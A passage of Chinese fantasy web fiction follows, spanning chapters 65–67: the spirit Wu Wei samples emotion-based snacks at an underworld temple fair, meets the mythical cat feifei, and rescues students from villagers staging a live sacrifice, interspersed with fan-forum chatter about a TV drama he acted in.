他能怎么办呢,小灵通它有自己的想法。
姑娘惊讶了,这种情况很少,除非是被什么东西吸引了,不过他们不认识,这种事也不好问,她就没提。
只是说道:“你可以试试把小灵通的面板召唤出来去扫也是可以的,只不过需要把网银点开,对准自己的id就可以。”
吴惟:“……”
逃过了额头贴贴逃不过当二郎神是吧,吴惟艰难道了声谢,继续逛起了庙会。
他不知道,在他走后姑娘在幽冥网一个大型交流平台的加密小论坛里,发了个贴
#我看到小先生了,他好可爱啊啊啊啊!!!#
[家人们谁懂啊,今天逛庙会居然看到了小先生,他在买一个手工玩偶,不会付款,我看见了就上去教他怎么付款
重点来了,小先生他直接踮起脚尖用额头贴贴,呜呜呜太可爱了,图片我放下面了,悄悄拿图不要乱发
而且我跟你们讲啊,小先生的小灵通是莲花形状的,贴在朱砂上面,看起来特别仙,特!别!好!看!呜呜呜呜我居然近距离看到了,此生无憾啊!!]
[嫉妒楼上,图我抱走了,每天说一遍,哇这个小脸捏着绝对手感很好]
[好家伙,楼上好变态,只有我拿图是用来供着的吗,虽然还小,但是好像庙里的神像啊,莲花一贴直接成仙]
[也不算变态吧,我也想捏,小孩子的脸都好捏,以前活着的时候见一个捏一个,咳…都怪他们太可爱了,不过没咱家小先生可爱]
[……]
且不提论坛里那些怪阿姨们,吴惟此时被一家食肆的小二哥拦下了,“小先生要尝尝我们家的点心吗,很好吃的!”
吴惟眨眨眼,有些迷惑,“地府有吃的?”
他怎么记得婴灵自从去了人间变成了吃货,还说地府吃不到。
“当然有,只不过跟人间不一样。要尝尝吗?放心咱家厨师手艺很好的!”
吴惟点头,他还真有点好奇。
其实店小二一般也不拉客,但谁让这是小先生呢。
在吴惟不知道的地方他已经有了一个神奇的粉丝群体,现在还没起名字,但已经初具规模,她们对会员唯一的要求就是不可以舞到正主面前,打扰到他生活。
毕竟和人间的偶像明星不同,能在地府拥有很高声望的人,都是为人间或者地府做过不小的贡献的人。
吴惟被请入食肆,带到了一个风景绝佳的位置,小二拿上菜单,上面都是一些奇奇怪怪没见过的名字。
什么“流心酥”、“奈何饼”、“望乡台”、“孟婆茶”…
小二在一边看出他的茫然,小声解释,“这流心酥是由地心之气所制,吃起来口感酥脆,带有一丝灼热,对修炼魂体有一些帮助。”
“这奈何饼呢,是魂魄走过奈何桥时逸散出来的情绪所制,因为捕捉到的情绪不一,吃起来口感也不一样,对于心境提升有些帮助。”
“当然那些帮助其实是附加值,有可能很微弱,不值一提,重要的还是我家师傅手艺好,就算作为普通的食物吃也一定会让客官满足。”
“望乡台呢,则是每年七夕在河边搜集到的人间的思念之情,酿制成酒,口感微苦,但回味无穷。”
“孟婆茶是孟婆汤的一些辅料所制,没有孟婆汤那样强的效果,只会让人做一场美梦,忘记很多烦恼,此茶也叫忘忧,它的口感似云似雾,清凉爽口,有些像人间的薄荷茶。”
“……”
都好奇特啊,吴惟多少有点选择困难症了。
“要不我替您选?”
“好。”吴惟干脆利落答应了。
救了老命了!
看他这一副丢了烫手山芋样子,小二哥哭笑不得,“那要不这几样吧,流心酥、奈何饼、星河露、流萤脯、孟婆茶,怎么样?”
星河露是从地气中提取的一些星光点点的记忆为主料制成水滴状的果冻,每个都像浓缩的星河一般煞是好看,其口感会带一点梦幻的丝滑感。
流萤脯小二哥没有介绍,只说是一种果脯,只不过地府没有真正有型的东西,他们吃穿用度都是各种气交织捏造而成的,自然是想捏成什么样都可以。
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65.第 65 章
小二动作很快,不一会儿点心就上齐了。
吴惟把每一样都尝了一遍,确实如小二说的那样神奇。
每一种点心或是口感独特,或是能把情感或者其他感官当成一种味道吃下去。
很难形容那种感觉,就好像一些听到的曲调,脑海里呈现了具象的画面,画面能变成一种气息让你闻到,而闻到的东西又变成一种味道被你品尝。
但有些不同的是,这些感官在这里是没有顺序的,杂糅在一起,通过味觉传递进灵魂的深处。
吴惟最好奇的是流萤脯,因为小二哥没有介绍它的原材料,很刻意的,就像是想要给自己一个惊喜一样。
他自然也很刻意的把他留在了最后。
吴惟小心翼翼捞起水晶一样的果脯,轻轻咬了一口。
毕竟是气组合成的东西,自然是入口即化,一股暖洋洋的气流慢慢涌向四肢百骸,耳边回荡着各种不同的声音。
他听不清声音说些什么,只有一个感觉,那些声音很轻柔,带着喜悦,仿佛在诉说自己的祝福。
流萤脯的原材料,原来是他最熟悉的东西,吴惟眼神变得有些怔忪。
那种熟悉的东西,是愿力。
不仅是愿力,还是属于他的愿力。
愿力的归属一向很明确,因为是喜爱所产生的,自然对谁表达喜爱,自然就归属于谁。
可这里是地府,自己人生地不熟的,那么多,那么浓郁的愿力是怎么来的?
尤其是,还在别人手上,被制成糕点送给他。
吴惟想问,却有些不好意思。
他只坐在原地,一点一点品尝着这一盘由愿力组合而成的果脯,享受着宁静的时光,原本心脏的部位不知为何渐渐的变得有些发胀。
这些情绪好真实,真实的不像他。
吴惟甚至有些害怕,想要躲进那个冷漠的外壳里,可惜他的自保机制没有奏效。
吴惟忽然想起顾鎏那句谶语,他好像真的如他所说,越来越像人了。
.
1月1号元旦节,电视剧《万劫》在只宣传了半个月的情况下突然提前开播,许多等剧的粉丝们满脑门子的问号。
[曹导你是不是有点什么大病,非要搞突袭的嘛?!]
[先骂一句放个屁股,我去看剧了,等会儿过来评论]
[6,我愿称之为史上最粗糙的宣传]
[最狗的是,这次甚至没有路演,这河狸嘛]
[……]
[在你们骂剧组的时候我就已经把前两集刷完了,其他人我就不说了,稳定发挥,鹿鸣进步了,但是谁告诉这个师尊是谁演的!!太绝了!]
[我也想说,三分钟我要这个男人的资料!]
[不是,你们没有人说嘛,师尊那个眼神好可怕啊,不像在看活人]
[没错没错,本书粉当时看小说的时候就发现天机最开始很人机了,他压根不知道自己为什么要守护苍生,看所有人都是一副刍狗一样
但是大大文字还是很温柔的,他对其他人类会有一种探究欲,有欲望就还算人类,但是这个演员,怎么说呢,我家天机大人已经很没人味了,你是怎么做到比他还没人味的,看的我一身鸡皮疙瘩
这种眼神真的,不像演的,不是那种面瘫就可以的,真的神了,虽然和小说里的有出入,但是我感觉还是值得期待的]
[书粉+1,原本点开是为了嘲一下的,结果怎么说,该说不说不愧是曹来,还算比较还原,比那些乱改剧情的奇葩好多了,师尊算是个惊喜吧,希望之后水平一直保持,不然等着挨骂吧]
[好家伙,我点开新剧,看看还有什么品种的古装丑男,结果……这谁?!!为什么会有上一辈老演员的感觉!!]
[楼上你一说我终于知道这熟悉感怎么回事了,这气质太古典了,这哥们学戏曲的吗?]
[吴惟这个名字好特别,吴惟无为,很有内味,很对师尊性格hhhh有人扒出来是谁了吗?]
[……]
[?]
[草啊,怎么回事,为什么我会觉得这天机这么眼熟,是你吗@事事无为 #图片# ]
[不是,绝对不是,是也不能是,楼上快撤回,别忘了咱家太太死社恐,他都快一个月内更新了,你不怕他又缩起来不敢出来了吗?!!]
[对不起我错了,马上撤]
[撤好快,还好我刚刚就摸了过去,卧槽这个演员画画好厉害啊,不对,他主业是画画的,不是你画画好还演戏居然也这么好?]
[我就想说有人靠脸能活还要靠才华,不能分给我一点]
[其实很正常啦,仔细看这哥长得不算特别好看那一挂,顶多耐看,但骨相特别古典,放前几年真的不一定火,但是现在不一定了]
[楼上收回这句话,他在我眼里就是绝世美人!!]
[为啥我没在主页看到这张图,哎嘿我手快存了 #图片# ]
[因为太太没发啊,他可害羞了,你们别闹他,快撤快撤,自己欣赏就好了 #黄豆捂脸# ]
[现在撤也没用吧,电视剧出来了还能不露脸,笑死]
[好家伙,你们绘圈粉丝都这么宠嘛,害羞就不发了,不叫人出来营业了嘛]
[你在说什么,营什么业,营业什么,人家一画画的,不喜欢私生活被打扰很正常啊,哦对了,无为太太到底去哪了,为什么半个月一点消息也没有!!孩子饿了,想吃饭,哪个圈子的同人也可以啊!]
[我也饿了呜呜呜…怕不是拍完戏怕被人发癫扒出来就躲起来了吧]
[草啊,你别说,你还真别说,这就是某人的风格]
[……]
.
[拯救神子大作战]
大姐头:看起来势头不错嘛,你们准备好了吗,不要一块发,错开时间
绘梦师:好了好了,蛊神快,蛊神先来?
手办达人:我之前发过天官的图,我先
蛊神:行,我明天
绘梦师:加油,你们先上,我等二月初的时装周,效果更震撼
大姐头:行,话说单调你陪睡效果咋样啊
绘梦师:你们一个个嘴里能不能有点正常词啊!那不叫陪睡!!
绘梦师:算了,懒得纠正你们了,我还真摸到点门道,上次试了试把神子大人身体拉进梦境还真成功了,我能感受到梦境在修复他的身体,但是具体什么情况就不知道了
大姐头:666不愧是你
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六六人形师:[天机 #照片九宫格# ]
[卧槽我大佬居然更新了!等等,大佬你居然追剧了?!]
六六人形师:[我同学@事事无为,天官和人间客也是他]
[!!!卧槽?!!人间客我超爱,还以为是六六老师的oc,原来是同学嘛]
六六人形师:[嗯,算oc]
[好家伙,这什么神仙同学,可以给六六随便摆造型,不要太爱]
[我也想要这么个同学,哪里可以领]
[卧槽是无为太太,双厨狂喜!]
[果然优秀的人都互相认识]
[关注了关注了,这位画师好强]
[不知为何,六六老师和无为太太风格好像有点像,天知道我怎么从手办上看出来他和平面风格像的]
[你这么一说,还真是]
[……]
千风:[既然大家都喜欢,我就来点私货,放心,剧组已授权@万劫剧组官方 @事事无为
#散发战损# #树下小憩# #惊讶侧脸# #垂眸看剧本# #生无可恋望天# #和马儿贴贴# #骑马# #舞剑# #决绝背影# ]
最后一张是吴惟把他们护起来对抗怨气拍的,当时下意识举起相机,可以说职业素养极高。
普通相机拍不到特效,她后期p了一下,哪怕拿去当剧照都有点配。
[卧槽!私货好,私货好啊,太香了,图抱走了]
[千叠姐姐最美!图我抱走了]
[太帅了,千叠老师镜头依旧美啊]
[awsl,为什么可以这么好看,好温柔的镜头语言,好美的人]
[……]
山精:[有些剧组一言不合就开播,有些游戏总会提前通知玩家
山精×万劫联动角色即将上线……
……
……
敬请期待…]
[???谁家房子着火了,我家的,怎么突然联动了,这是什么电视剧还是电影?]
[不是游戏和电视剧联动?这题材好像也不…这题材好像还挺搭,精怪×修仙]
[……]
[家人们,我好像知道为啥联动了,你们猜我在演员列表里边扒出了什么,看这里 #截图# ]
[卧槽,这真不是同名?吴惟不是画师嘛?大姐头的同学?]
[好家伙,这也太宠了,正宫娘娘的含金量还在提高]
[笑死,神特么正宫娘娘]
[不是吗,数数咱们家多少角色是他画的,忘记当初的孰湖了吗,你画不出来咱就拖着,大不了少更新几期,真就任性硬拖,当初整个游戏都差点凉了]
[但是后面口碑不是又反转了嘛,事实证明,慢工出细活,还是很香的]
[而且是大火,听说换了好几个画师和好几版方案,大姐头都不满意,就相中了无为太太的草图,后期加细节也是死去活来的,后来连建模师都被折腾的不轻]
[确实,这么个大佬捧一下不过分,不过说真的,大佬这张脸也是一绝啊,要是换个
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人进咱们游戏画风可能该不太对,但是吧…]
[这张脸神官预定了属于是]
[啧啧,大姐头有好东西不知道早点端出来,等到现在]
[完蛋了我等不及了,不是某些人,能不能学学人家剧组,不要预告了直接出]
[就是,这3.0版本是一点也呆不下去]
[搞快点,这3.0版本是一点也呆不下去]
[……]
.
[随心所欲小分队]
小小玉盘:什么情况,为什么无为突然火起来了,你们在预谋什么啊 @事事无为
天雷无妄:我也想问
曲院风荷:别艾特了,他回不了你,想帮他就去收集愿力
天雷无妄:但你总得说清楚是什么事吧,他不会突然缺愿力吧
天地反覆:那孩子出事了?
天地反覆:这段时间隐隐感觉有些不安又算不出来,刚刚你们一说我算了下惟仔,一点也算不到,仿佛突然消失了
小小玉盘:!!
曲院风荷:嗯,死了,没死透,要救
天雷无妄:??不是,什么叫死了没死透
曲院风荷:心脏被扎了一刀,但愿力帮他续了命
小小玉盘:等我叫明月去盯着,绝对不会让人诋毁他,至少恶评不能影响大众
月隐轻纱;我们对这个不熟,有什么需要记得叫我们
小小玉盘:好
天雷无妄:加油,有需要记得叫我
.
特事局。
常皓轩按在座椅把手上,死死盯着屏幕。
“这批造谣的解决完了,没引起什么火花。”在屏幕前操作的人忽然开口。
常皓轩这才松了口气,拍了拍他的肩膀,“辛苦你了,之后麻烦也继续盯着,只解决那些造谣的就可以了。”
“苗头不太对的恶评稍微引导一下风向就行,要是一条没有会引起一些人逆反心理。”
“好,我知道了。”
.
吴惟的公寓。
常笑闭着眼睛,一手抓着吴惟的脉,单调看他的眼神有些紧张。
看常笑睁眼,赶忙问道:“怎么样?”
常笑微微露出了点笑意:“伤势恢复了不少,心脏也有些复苏的迹象。”
“太好了!”
.
金城,金大。
“树树!你快看!”闻立新大嗓门一路狂奔回寝室,今天放假他们没课。
子车树已经习惯他的大嗓门了,另外两个室友也见怪不怪,各自忙着自己的事头也不抬。
“树树~先别看书了,你快看这个!”闻立新一把将手机塞到子车树怀里。
“呐,你师父。”
子车树低头看了一眼手机,屏幕上是一个视频,视频的内容是天机前两集出场内容的剪辑。
前两集的内容,吴惟的出场只有男主回忆里的,天机捡走元修祈那一幕。
“真的好帅啊!”闻立新一脸花痴相,他也好想这么帅!
“新新又在犯花痴。”室友叹气。
“之前一直是树树,这次谁,树树有师父?”
“有吧,功夫肯定得有人教嘛。”
两人悄咪咪小声议论起来。
一般来说再小声子车树都能听到,但是这次他心神被抽走了,在天机一句“要做我徒弟吗”说出口之后,直接破防了。
“凭什么?这下盘不稳浑身没点力量的东西都收!他不能看看我!”
闻立新:“……”
“树树你清醒点,这是演戏。”
而且你光在这嚎有什么用,有本事当面说。
闻立新表示恨铁不成钢,自家这个男主一样的室友,脸皮太薄了,换他直接扑上去抱大腿了!
子车树向后一仰,瘫倒椅子上,“他怎么就跑去演戏了。”
闻立新倒是没觉得什么,反而说道:“大佬这么做肯定有他的用意。”
小迷弟没跑了。
[你不是说大佬不是修武道的吗,说不定人家是那种收集信仰的神修呢]
毕竟他们签了保密协议,不好让室友听见,闻立新只能打字跟子车树交流。
[有道理,我对玄学不熟,改天去问问]
另一边,他们室友,[好家伙,他们又突然不说话了,是不是瞒着我们什么]
[自从川省回来就神神秘秘的,谁知道呢,听他们的意思是师父还没收树树呢,还跑去演戏收了别人]
[不怪树树破防了哈哈哈哈,我对师父有点好奇]
[最近有什么古装剧,咱去瞅瞅?说不定能找到]
[行,我刚刚看到万劫刚出,突然火了起来,先看这个?]
[好,希望剧情别太离谱]
.
66.第 66 章
吴惟在金水畔一坐就是两天,人间的“背刺”他当然不会知道。
庙会要持续七天的时间,此时的金水两岸依旧热闹。
地府最热闹的时候大概就是从一月开始到二月末,天灯节过后没多久就是春节,虽然这个“没多久”并不固定。
春节的活动会持续将近一个月,从小年一直到元宵。
地府的人们生存压力很小,只要你不出鬼城基本上没有什么危险,甚至他们没有税收。
幽冥点和功德完全不是一个东西,一般情况下功德可以兑换成幽冥点。
而幽冥点想要兑换功德需要打申请,确定你的需求是必要的才可以兑换。
幽冥点是货币,功德才是建设地府的必须品,而功德这玩意,不是税收可以解决的,自然也不需要向人民征税。
听别人的介绍,吴惟对春节有些期待了。
这家食肆的茶点很好吃,吴惟又点了几样打包,准备带回去给吴烬尝尝。
食肆就叫食肆,是整条街唯一一家做小吃的店。
据说因为地府鬼魂本身就不需要吃饭,而食物也只是乐趣,但想要做的好吃很难,可以说小吃对于地府而言,是奢侈品的范畴。
听到这个说法,再看看刚刚买东西扣的九牛一毛的幽冥点,吴惟又有些沉默了。
吴惟在人间,除了军方大手笔买了他家那一片地让他随便造以外,还真没这么奢侈过!
而且他居然这么有钱吗?!
原本看着账号的一串零,他还以为幽冥点就类似某四字游戏里的信用点一样,数额高不禁用。
毕竟人间写冥币面额不也是往大了写吗?
如今听了这个说法才知道,他那会动的小熊猫,其实也算奢侈品,因为工艺复杂,原材料贵,所价格也格外的高。
而正常物价,其实和人间差不了多少。
吴惟:“……”
打扰了。
之前的两次消费让吴惟差点怀疑庙会只是办给有钱人的,后来发现大概是自己眼光有点太高了,那些比较吸引人的东西,自然价格都高。
在地府倒不怕被人坑,这里奉行一分价钱一分货,你敢定过高去坑人,等着规则削你鬼龄吧:)
吴惟又逛了一会儿,也买了个天灯,在河边点燃,就打道回府了。
“吾安,勿念。”
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单调突然清醒,看着隔壁床上的吴惟有些怔忪。
他刚刚好像梦到吴惟了,他变成小小的一只,他星星点点的灯笼包围着,脸上表情很温柔也很明亮,带着一丝丝幸福的感觉。
他还从来没在老同学脸上看到这样的表情,他说我过得很好,大家不要担心。
可是他不是躺在床上,意识都还没有恢复吗?
单调走过去,小心翼翼探了探他的鼻息,毫无意外,没有动静,忍不住叹了口气。
难道他的灵魂在外游荡?
单调不觉得自己的想法有什么问题,他一向是织梦的那个人,有别的梦境入侵还是第一遭,肯定是有人想传达什么信息。
要不要告诉别人?
算了,说了大家都会惦记的,既然吴惟说勿念,那就相信他好了,那可是他们班最牛逼的神子大人。
也许他在外游荡只是因为身体不能用,等身体修复好了自然会回来。
想到这里,单调不在纠结,拉上被子又睡下了。
.
回到档案室,众鬼还在埋头苦干,吴惟本打算暂时回避一下呢,结果下一秒她们就看了过来。
这些鬼差脸上多多少少都带着憔悴。
吴惟有些心虚,他自己出去玩了,这些人还在帮他干活…
吴惟老脸一红,小声问道:“那个,我给你们带了点心,要不休息一会儿?”
其实他原本只想到了吴烬,不过食肆的点心种类多,他就各要了一份,想着可以换着尝尝呢。
好在种类多,不然这种时候只给吴烬带多少有点没良心,而且很尴尬。
从来没考虑过人际关系的吴惟如是想道。
只能说,有进步,但不多。
众鬼一听有点心,眼睛都绿了,天知道她们这吃食有多贵,她们身为鬼差也不常吃。
一瞬间众鬼扑过来挤挤挨挨互相抢食,还不忘对着吴惟来了一句,“谢谢小先生。”
吴烬懒得跟她们抢,吴惟自然也不会忘了他,眼疾手快捞出星河露和孟婆茶塞到吴烬手里,“吃吧。”
星河露是他认为最好吃的,孟婆茶是他认为吴烬最需要的。
若是孟婆茶的功效是遗忘他一定不会给吴烬,但只是忘忧,应该很适合他。
“嗯。”吴烬乖巧点头,能看得出他很高兴,眼睛都笑弯了。
被人惦记着的感觉真不错。
吴烬大概跟吴惟汇报了一下进度,他那边找到了五千多条属于自己的信息。
其中有一些感应很微弱,应该当初被救下的时候意识差不多已经消散了,只是因为他们都在一起,消散的灵魂和意识被他们自己分食了才会留下感应。
吴惟听得有些唏嘘。
“他们那边也筛选清理一大半,我这边之后速度应该会快不少。”
吴惟外面两三天的时间,对于她们而言差不多有一年多了,这一点吴烬没有告知吴惟,但光听数字吴惟就知道应该过了很久。
看看那些鬼差憔悴的样子。
“加油,也不用那么着急,累了就歇歇。”吴惟吧胳膊上挂的熊猫塞给吴烬。
这熊猫玩偶有他一个刚发现的功能,能够缓解疲劳。
吴烬抱着熊猫幼崽玩偶,疲惫慢慢消失,有些惊奇。
一个男鬼差凑了过来,打量了一下这个玩偶,“居然是绵绵的作品!”
“绵绵?”
“是幽冥网上一个很出名的手作大师,她的作品一般都有一些很治愈的功效,你应该发现了吧。”
这个确实发现了。
“一般这种布偶的原材料都是从大荒中捕捉回来,进行提取的,你也知道大荒有多混乱,能够提取出正向情绪是很厉害的技能,一般人可做不到。”
“小先生运气真好,居然能买到绵绵大师的玩偶,不愧是大功德者!”
大荒就是鬼城之外的混乱区域,堆积着混乱的能量场,和那些被剔除出轮回的负面意识、被清气排斥的能量,以及被侵蚀,无法回归地府的灵魂…
地府不仅有官方雇佣清理的怨魂、鬼差和军团,也有一些冒险者。
地府有一个很大的冒险家组织协会,在每个城市都有分布,日常会整理发布一些冒险任务,一般是去城外收集一些东西。
当然也有专门组团去城外历练和采集赚取卖命钱的鬼。
在这一点上,地府和修仙小说有些类似,这里属于全民修炼的地方。
哪怕有些鬼天赋不好,修为也不一定能怎么涨,但修炼可以增长鬼龄,这一点,就能让所有鬼趋之若鹜了。
谁不想活久一点呢,尤其是还有这么好的生活。
地府和人间一样,有很多不同的修炼体系,但不一样的是,她们更看中天赋,这点有些类似于精怪。
大部分人努力的方向都是点满天赋技能,而非人间那些花里胡哨的降妖除魔的手段。
当然并不是说没有,以前人间和地府也有相通的时候,还有不少人修炼方向是往塑造肉身方向去的。
有了肉身,自然是在阳间生活,不然在地府挤肉饼吗。
但现在不同,人间户籍体系完善了,塑造肉身离开地府那不成黑户了,可能过的连在地府都不如。
再加上满天神佛集体入轮回,人们不再信神,自然进一步挤压了她们在人间的生存空间,自然很少再有鬼想要塑造肉身。
其实哪怕放在以前想要塑身的鬼,也基本上都是男鬼,因为对于他们来说地府太苦了,就像人间的女子一样苦。
这也是为什么前面男女都有的情况下,会用到“她们”。
一个全体只要混进去一个男的就是男他,自然在地府书写习惯就是,一个全体里只要放进去一个女鬼就是女她。
地府和人间是相对的地方可以说是渗透鬼魂生活的方方面面了。
塑造肉身这条路行不通了,自然走壮大灵魂这条路的鬼更多。
地脉混乱但包容性强,里面有许多好东西未曾开发出来,自然有许多人趋之若鹜。
有战斗方面天赋的鬼魂们,把它当做试炼和财富来源,慢慢的冒险者协会就是这么发展起来了。
因为在地脉中行动基本可以说是赌命行为,所以拿出来卖的东西也一般比普通的货物价格高上不少,而用这些材料做成的制品,自然价格也很高。
绵绵大师的作品一般就是用地脉材料做成的,再加上她的手艺好,能够把很多不想关的材料完美融合,达到一些
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意想不到的效果,说一句可遇不可求也不为过。
吴惟再一次感叹自己死了之后运气变好了,曾经喝凉水都塞牙缝,走个路都差点被砸死的情况,仿佛已经是很久远的事情了。
反倒是吴烬不以为意,哥哥那么善良,运气好一点怎么了,他值得。
死兄控无疑了。
短暂的休息过后,吴烬等人又投入了整理档案的工作中,吴惟看的有些心疼。
他忽然有点怀疑带吴烬来这一趟是对是错。
吴烬反过来安慰他说:“哥,你别看现在事忙,之后我拿到的奖励可不会少,不是只有补偿那部分哦。”
这下吴惟放心了,有回报好,至少不白干,而且修为和功德自然是越多做好。
又废了一小会儿功夫把哥哥哄出去玩,吴烬深吸一口气,加快了速度。
他不想让吴惟等太久,虽说他已经是个成年人了,但是看着现在小豆丁的模样是个人都会担心吧!
果然还是要早点弄完回去,别哪天被人拐跑了。
但是吴惟觉得他担心都是多余的,这几天他过的可逍遥了。
一个人街头巷尾的跑,看到好看的东西和构图就拍拍拍,回来拼拼剪剪,做出合适的构图参考就开始画画。
他没再用生成了,虽然生成可以完美复刻他心中所想,但却少了点意外的惊喜,他还是喜欢自己提笔画的东西,因为它们更加灵动。
吴惟这几天每画完一张都会打开幽冥网去发布,第一次打开的时候吓了一跳,本以为新号应该没多少关注,没想到一下子就破万了。
大概了解了一下才知道,原来地府也有自己的粉丝在,虽然他的粉丝大多都是年轻人,但毕竟人有可能会出现意外。
总之,这部分粉丝的宣传,加上他的账号本身推流就高,作品质量也不错,自然一创号就爆了。
吴惟大概看了一下推流机制就明白了,最初的推流是跟号主最初获得的资产有关,因为最初资产是和人品成正相关的。
吴惟琢磨了一下就明白了,自己这是托了吴烬的福,才拥有那么多资产,以及推流,甚至这些人会叫他小先生根源应该也是在这里。
果然他的幸运值提高了!
想通这一点,他就把这件事抛到脑后了,专心画画,然后被各种夸夸,夸得他都不好意思了。
当然,被夸总是会有更大的动力,是以这段时间的吴惟疯狂出作品,玩得很也开心。
此时在吴惟面前的是一颗树,它的枝干是金色空心透明的,冠是梦幻如星云的紫色,树上挂着长长的花絮垂落,有点像紫藤的感觉。
吴惟不自觉地掏出画板,这样美好的东西适合直接写生!
眉心的莲花亮起,画板出现在眼前,吴惟刚提起笔,一个毛茸茸的东西落在了脑袋上。
吴惟:“?”
脑袋是召唤器这buff,到地府也没有消失吗?!
小东西从头上轻盈地跳到吴惟膝盖上,转身用水汪汪的大眼睛望着他,“喵~”
吴惟:“!!”
好漂亮的猫猫!吴惟瞪大了眼睛。
这只猫和普通的猫猫有些差别,眼睛清澈透亮似琉璃般流光溢彩,带着一种吴惟无法认知的色彩。
它的耳朵堪比阔耳狐狐耳,内耳道的颜色和眼睛同出一辙,白色的毛发顺滑蓬松,一看就很好摸。
吴惟的爪子没忍住,咳…
但猫猫不介意,甚至用脸拱了拱他的手,问道:“人类,你是在画我家吗?”
吴惟愣了一下:“那棵树是你的家?”
“对呀对呀,是不是很漂亮?”
“嗯,特别好看!”
“人类,我喜欢你,我允许你画我家了。”小猫窜到吴惟肩膀上,打了个哈气,蹭蹭他的脸,一副懒洋洋的样子。
不知为何,吴惟感觉心中似乎炸开了烟花,整个人暖洋洋的,特别舒服。
堪比泡在愿力池中。
吴惟愣住了,是因为这个小猫吗?
“当然,我可是朏朏!”
其状如狸,而白尾有鬣,名曰朏朏。养之可以已忧。
原来如此,原来传说是真的,居然被他碰上了!
“当然是真的,而且我可不是只有你们人类记载里的那种能力哦。”小猫得意洋洋地炫耀道。
吴惟看向它,后知后觉地发现它似乎能听到自己在想什么。
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67.第 67 章
“嗯哼,”朏朏摇尾巴,“不是能听见哦,我能感应到啦,你又没有防着我,能感应到不是很正常嘛?”
“看在我让你开心的份上,要给我的房子画的漂漂亮亮的哦。”
“好。”
吴惟本身就有艺术追求,自然没什么不能答应的。
大笔刷刷两下,就铺垫了一个梦幻的基调。
画画自然不能只画看到的,还要画点想到的,比如,在树上树下,画几只憨态可掬的小朏朏在玩耍。
朏朏从画上感受到了祝福的味道,狠狠的吸了口气。
好香好香,人类好,它要报答人类!
朏朏尾巴扫上了吴惟双眼,吴惟只感觉到一阵困意,很心大地睡了过去,大树伸出藤蔓,轻柔地把两个小崽子抱起来塞进树干。
吴惟的意识飘忽,他当时没有感受到危险,自然也没有反抗。
忽然一个失重,他似乎坠落到了地上,双脚稳稳当当落地,竟有久违的一种实感。
吴惟睁开双眼,看到的竟然是人间的景象。
这里似乎是一间破庙,大殿里供奉的不知道是什么神的神像,周围的装修一看就有几十年没有动过了,非常老旧。
自己面前站着一个人,身侧还有个抱着他胳膊瑟瑟发抖。
面前的人表情有些惊讶,随后恭恭敬敬向他行了个礼,“打扰大人了,弟子几人被困在此处不得出,不得已才请大人上身助我等脱困。”
吴惟环视了一圈,发现抱着自己胳膊的人居然是闻立新。
他看到自己看过来,唰的一下松开了手,“抱…抱歉,我太害怕了才会…”
吴惟没说什么,往身后看去,另外两个男生一个已经昏迷,另一个正在给人做心肺复苏。
吴惟看到昏迷那人遭煞气缠身,身体似乎已经休克了,一个弹指,功德之力浩浩荡荡洒向那人。
正在做心肺复苏的男生手一顿,眼睛神变得有些茫然,他似乎感觉身边突然变得温暖,刺骨的阴凉消失了。
不一会儿,手下这人咳嗽突然起来,他赶忙把人扶起来拍背。
闻立新“哇”了一声,眼睛变得亮晶晶的。
吴惟:“……”
你丫的又脑补了什么。
虽然不知道朏朏怎么把自己送到这里来的,但先解决眼前的问题要紧。
有闻立新在旁边,他似乎猜出来自己所在的这具身体应该是子车树的。
他问那个把自己召唤来地府男生:“现在是什么情况?”
男生摇头说道:“具体的情况我也不清楚,只知道这个神灵似乎畸变了。”
男生能看出来的,吴惟自然也感受到了,周边的阴冷似乎是从这尊神像上逸散出来的。
吴惟干脆利落祭出因果符阵。
遇事不决因果符阵,虽然不一定能解决问题,但至少无论如何都不至于出错。
待得煞气减缓之后,想了想,从空间里掏出之前没用完的平安符递给众人,这才带着众人离开破庙。
门外围着一群村民,他们围城一圈,向着破庙跪拜,听到开门声,吓了一跳,一个个赶忙抄起武器,做出防御的姿态。
吴惟视线扫过众人,发现这里的人多多少少都沾染了血煞之气,却无怨气缠身,这不对劲。
他们不是军人,杀了人不可能没有怨气存在。
闻立新在旁边小声解释,“我们原本是做课题来这附近考察,被村子里的人骗来的。”
“他们在我们的饭菜里下了迷药,我们醒来就在破庙里了,要不是树树会点武醒的早,我们早就被那里面的东西撕碎了。”
旁边的男生补充道:“他们是在拿我们做活祭,若非我们家学对祭祀这方面比较熟悉,我也看不出来问题。”
“我们家原本供奉的神明不知为何一直都无法回应,我想着是不是我身体太弱承受不了才无法请神,所以才让子车试试,幸亏您来了,不然我们这一趟可能就…”
原来如此,不过子车树怎么会召唤自己呢?他又不是神明。
吴惟点点头表示了解。
召唤吴惟的男生叫钟离归,是他们学长,因为家学就是这方面的所以专业也是选的这方面。
说来也巧,他家和子车家是旧识,他和子车树的经历完全不同,因为他们本身就是学的各种请神和祭祀的仪式,自然从小就接触这些,懂得要比子车要多不少。
在子车树跨过先天的壁障之后,他家里人就想起钟离家的孩子也在金大上学,就拜托那边帮忙照顾一下自家孩子。
这不,子车树他们宿舍都是一个班的,做作业分配的小组都是一个小组,这次的民俗考察他们没什么方向,正好钟离归最近在研究这边的民俗,就邀请他们一起。
五人来了这边就着了道,被扔到破庙里献祭给了那不知哪来的邪神。
村民见几人没动作,觉得他们是被吓到了,于是大起胆子慢慢靠近。
吴惟负手踏出一步,手上没有什么动作,但业火却直接扑了过去。
这些业火是当初留在体内的业火符阵烧起来的,虽然他的身体不在了,但整个业火符阵跟着他的魂体回到了地府。
因为业火本身不会伤害无罪孽的灵魂,甚至因为他功德深厚而对他有滋补,所以他一直没有把符阵给撤下。
原本没有燃料业火没再增长,甚至隐隐有熄灭的迹象,谁能想到这次居然有人千里送燃料。
之前没有给中年男鬼用他手上的业火,是因为这团业火本社就焚烧过魔气,力量不是新生的业火可比的。
那次她们需要的是查一下有没有天魔在其中搞鬼,自然不能一下子把魔气一起净化掉了。
而这次的快递,当然就不客气啦:)
身后五人被煞气侵染,运气走低,自然是能看到那些东西的,反而是村民那边,没有一点反应。
他们从刚刚见到村民脸色就不好,这么多煞气,哪怕不知道那是什么东西的闻立新三人都猜到他们杀了不少人。
而业火扑过去的瞬间,村子里飘荡的煞气也如潮水般退散,而业火就入蝗虫入境般对煞气赶尽杀绝,一路摧枯拉朽。
煞气是业火的燃料,它们甫一沾到村民身上,便听村民一个个惨叫起来,躺在地上打起了滚。
无形的火焰如附骨之疽无论如何都无法甩脱,直到煞气燃烧殆尽之前都不可能熄灭。
吴惟不再看他们,对四人说了一声“报警吧”,就进入了庙内。
